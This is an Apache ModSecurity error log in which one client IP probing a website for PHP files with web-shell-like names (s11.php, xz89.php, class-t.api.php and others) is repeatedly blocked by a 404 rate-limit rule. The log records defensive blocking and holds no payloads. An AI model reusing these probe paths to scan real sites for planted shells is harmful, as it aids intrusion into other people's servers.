[Mon Dec 22 19:05:59.688593 2025] [:error] [pid 33471:tid 33493] [client 4.217.179.78:46126] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aUkmF75BeNE7regJ7iw1VAAAAVM"]
[Mon Dec 22 19:06:00.234907 2025] [:error] [pid 56155:tid 56239] [client 4.217.179.78:27419] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aUkmGGG8a3wQucsuN67fNQAAA5E"]
[Mon Dec 22 19:06:00.591865 2025] [:error] [pid 33440:tid 33464] [client 4.217.179.78:27411] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aUkmGJOsUWKqgxu6QTQcVwAAARY"]
[Mon Dec 22 19:06:01.201051 2025] [:error] [pid 56080:tid 56124] [client 4.217.179.78:28682] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aUkmGZIHT3YJq9hjDc7TfwAAAwA"]
[Mon Dec 22 19:06:01.787019 2025] [:error] [pid 33440:tid 33444] [client 4.217.179.78:20759] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aUkmGZOsUWKqgxu6QTQcWQAAAQI"]
[Mon Dec 22 19:06:02.378112 2025] [:error] [pid 33440:tid 33442] [client 4.217.179.78:24234] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aUkmGpOsUWKqgxu6QTQcWgAAAQA"]
[Mon Dec 22 19:06:03.324137 2025] [:error] [pid 33472:tid 33501] [client 4.217.179.78:26483] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aUkmG55p2WQpPIK8HAkaLgAAAYA"]
[Mon Dec 22 19:06:03.941058 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:24223] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aUkmG5OsUWKqgxu6QTQcXAAAAQU"]
[Mon Dec 22 19:06:04.507221 2025] [:error] [pid 33564:tid 33587] [client 4.217.179.78:16026] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aUkmHASHeG6oLmMnKY6pDQAAAhQ"]
[Mon Dec 22 19:06:05.024683 2025] [:error] [pid 33471:tid 33480] [client 4.217.179.78:24235] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aUkmHb5BeNE7regJ7iw1WAAAAUY"]
[Mon Dec 22 19:06:05.629461 2025] [:error] [pid 56080:tid 56138] [client 4.217.179.78:26485] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aUkmHZIHT3YJq9hjDc7TggAAAw4"]
[Mon Dec 22 19:06:06.042747 2025] [:error] [pid 33440:tid 33445] [client 4.217.179.78:16047] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aUkmHpOsUWKqgxu6QTQcXQAAAQM"]
[Mon Dec 22 19:06:06.484254 2025] [:error] [pid 33564:tid 33573] [client 4.217.179.78:28778] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aUkmHgSHeG6oLmMnKY6pEAAAAgY"]
[Mon Dec 22 19:06:07.306136 2025] [:error] [pid 33472:tid 33515] [client 4.217.179.78:24602] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aUkmH55p2WQpPIK8HAkaMQAAAY4"]
[Mon Dec 22 19:06:07.915346 2025] [:error] [pid 58078:tid 58093] [client 4.217.179.78:26459] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aUkmH5WKg9Bf8njHlB4eJAAAAAo"]
[Mon Dec 22 19:06:08.684828 2025] [:error] [pid 33535:tid 33561] [client 4.217.179.78:21103] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aUkmIGOCI8D9Xtn-n7SqLgAAAdg"]
[Mon Dec 22 19:06:09.365525 2025] [:error] [pid 58172:tid 58198] [client 4.217.179.78:28773] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aUkmIeSVKDT5jWOcnSXPjwAAANg"]
[Mon Dec 22 19:06:09.942515 2025] [:error] [pid 33564:tid 33590] [client 4.217.179.78:20528] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aUkmIQSHeG6oLmMnKY6pEgAAAhc"]
[Mon Dec 22 19:06:10.485137 2025] [:error] [pid 33472:tid 33523] [client 4.217.179.78:6783] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aUkmIp5p2WQpPIK8HAkaNAAAAZY"]
[Mon Dec 22 19:06:11.302430 2025] [:error] [pid 33535:tid 33539] [client 4.217.179.78:47487] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aUkmI2OCI8D9Xtn-n7SqMQAAAcI"]
[Mon Dec 22 19:06:11.810243 2025] [:error] [pid 33535:tid 33552] [client 4.217.179.78:29597] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aUkmI2OCI8D9Xtn-n7SqMwAAAc8"]
[Mon Dec 22 19:06:12.382086 2025] [:error] [pid 58078:tid 58096] [client 4.217.179.78:6731] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aUkmJJWKg9Bf8njHlB4eOAAAAA0"]
[Mon Dec 22 19:06:12.976168 2025] [:error] [pid 58078:tid 58084] [client 4.217.179.78:7103] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aUkmJJWKg9Bf8njHlB4ePAAAAAE"]
[Mon Dec 22 19:06:13.768592 2025] [:error] [pid 56155:tid 56243] [client 4.217.179.78:7101] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aUkmJWG8a3wQucsuN67fQwAAA5U"]
[Mon Dec 22 19:06:14.574941 2025] [:error] [pid 33564:tid 33585] [client 4.217.179.78:20508] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aUkmJgSHeG6oLmMnKY6pFgAAAhI"]
[Mon Dec 22 19:06:15.674950 2025] [:error] [pid 33440:tid 33463] [client 4.217.179.78:6771] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aUkmJ5OsUWKqgxu6QTQcagAAARU"]
[Mon Dec 22 19:06:16.844891 2025] [:error] [pid 58172:tid 58180] [client 4.217.179.78:24631] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aUkmKOSVKDT5jWOcnSXPkAAAAMY"]
[Mon Dec 22 19:06:17.566206 2025] [:error] [pid 33535:tid 33544] [client 4.217.179.78:29767] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aUkmKWOCI8D9Xtn-n7SqPgAAAcc"]
[Mon Dec 22 19:06:18.915130 2025] [:error] [pid 58172:tid 58182] [client 4.217.179.78:7040] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aUkmKuSVKDT5jWOcnSXPlAAAAMg"]
[Mon Dec 22 19:06:19.482438 2025] [:error] [pid 33471:tid 33494] [client 4.217.179.78:47478] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aUkmK75BeNE7regJ7iw1WwAAAVQ"]
[Mon Dec 22 19:06:20.112471 2025] [:error] [pid 58078:tid 58105] [client 4.217.179.78:6494] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aUkmLJWKg9Bf8njHlB4eYwAAABY"]
[Mon Dec 22 19:06:20.929252 2025] [:error] [pid 33440:tid 33451] [client 4.217.179.78:20055] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aUkmLJOsUWKqgxu6QTQcbQAAAQk"]
[Mon Dec 22 19:06:21.725699 2025] [:error] [pid 33440:tid 33462] [client 4.217.179.78:23093] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aUkmLZOsUWKqgxu6QTQcbwAAARQ"]
[Mon Dec 22 19:06:23.002087 2025] [:error] [pid 33564:tid 33574] [client 4.217.179.78:20518] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aUkmLwSHeG6oLmMnKY6pHAAAAgc"]
[Mon Dec 22 19:06:23.721148 2025] [:error] [pid 58078:tid 58099] [client 4.217.179.78:23054] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aUkmL5WKg9Bf8njHlB4ecwAAABA"]
[Mon Dec 22 19:06:24.430840 2025] [:error] [pid 58172:tid 58189] [client 4.217.179.78:7078] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aUkmMOSVKDT5jWOcnSXPlgAAAM8"]
[Mon Dec 22 19:06:25.016408 2025] [:error] [pid 56080:tid 56140] [client 4.217.179.78:6473] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aUkmMZIHT3YJq9hjDc7TmAAAAxA"]
[Mon Dec 22 19:06:26.118822 2025] [:error] [pid 33472:tid 33516] [client 4.217.179.78:52082] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aUkmMp5p2WQpPIK8HAkaaQAAAY8"]
[Mon Dec 22 19:06:26.692561 2025] [:error] [pid 56155:tid 56226] [client 4.217.179.78:52047] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aUkmMmG8a3wQucsuN67fYAAAA4Q"]
[Mon Dec 22 19:06:27.612213 2025] [:error] [pid 33472:tid 33512] [client 4.217.179.78:28848] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aUkmM55p2WQpPIK8HAkabAAAAYs"]
[Mon Dec 22 19:06:28.117775 2025] [:error] [pid 58172:tid 58198] [client 4.217.179.78:46585] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aUkmNOSVKDT5jWOcnSXPmgAAANg"]
[Mon Dec 22 19:06:28.435643 2025] [:error] [pid 33471:tid 33489] [client 4.217.179.78:23138] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aUkmNL5BeNE7regJ7iw1YQAAAU8"]
[Mon Dec 22 19:06:28.975829 2025] [:error] [pid 58078:tid 58099] [client 4.217.179.78:29793] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aUkmNJWKg9Bf8njHlB4egAAAABA"]
[Mon Dec 22 19:06:29.661545 2025] [:error] [pid 56044:tid 56063] [client 4.217.179.78:29773] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aUkmNe60uUaieriJqP1ZpAAAAI8"]
[Mon Dec 22 19:06:30.531264 2025] [:error] [pid 58172:tid 58195] [client 4.217.179.78:25396] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aUkmNuSVKDT5jWOcnSXPnQAAANU"]
[Mon Dec 22 19:06:31.094429 2025] [:error] [pid 33471:tid 33478] [client 4.217.179.78:25356] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aUkmN75BeNE7regJ7iw1ZwAAAUQ"]
[Mon Dec 22 19:06:31.853787 2025] [:error] [pid 56044:tid 56065] [client 4.217.179.78:28833] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aUkmN-60uUaieriJqP1ZpgAAAJE"]
[Mon Dec 22 19:06:32.464534 2025] [:error] [pid 33440:tid 33456] [client 4.217.179.78:21520] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aUkmOJOsUWKqgxu6QTQcdgAAAQ4"]
[Mon Dec 22 19:06:32.978180 2025] [:error] [pid 33564:tid 33574] [client 4.217.179.78:17636] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aUkmOASHeG6oLmMnKY6pJQAAAgc"]
[Mon Dec 22 19:06:33.502562 2025] [:error] [pid 33440:tid 33465] [client 4.217.179.78:20040] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aUkmOZOsUWKqgxu6QTQceQAAARc"]
[Mon Dec 22 19:06:34.428647 2025] [:error] [pid 56044:tid 56057] [client 4.217.179.78:6574] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aUkmOu60uUaieriJqP1ZqQAAAIk"]
[Mon Dec 22 19:06:35.207480 2025] [:error] [pid 58172:tid 58189] [client 4.217.179.78:28818] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aUkmO-SVKDT5jWOcnSXPoQAAAM8"]
[Mon Dec 22 19:06:35.606500 2025] [:error] [pid 33472:tid 33512] [client 4.217.179.78:23104] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aUkmO55p2WQpPIK8HAkaeQAAAYs"]
[Mon Dec 22 19:06:36.166588 2025] [:error] [pid 58078:tid 58094] [client 4.217.179.78:17622] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aUkmPJWKg9Bf8njHlB4ehgAAAAs"]
[Mon Dec 22 19:06:37.046988 2025] [:error] [pid 33471:tid 33475] [client 4.217.179.78:46535] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aUkmPb5BeNE7regJ7iw1bQAAAUE"]
[Mon Dec 22 19:06:37.605699 2025] [:error] [pid 56044:tid 56070] [client 4.217.179.78:46590] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aUkmPe60uUaieriJqP1ZqwAAAJY"]
[Mon Dec 22 19:06:38.143488 2025] [:error] [pid 33535:tid 33541] [client 4.217.179.78:28180] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aUkmPmOCI8D9Xtn-n7SqWAAAAcQ"]
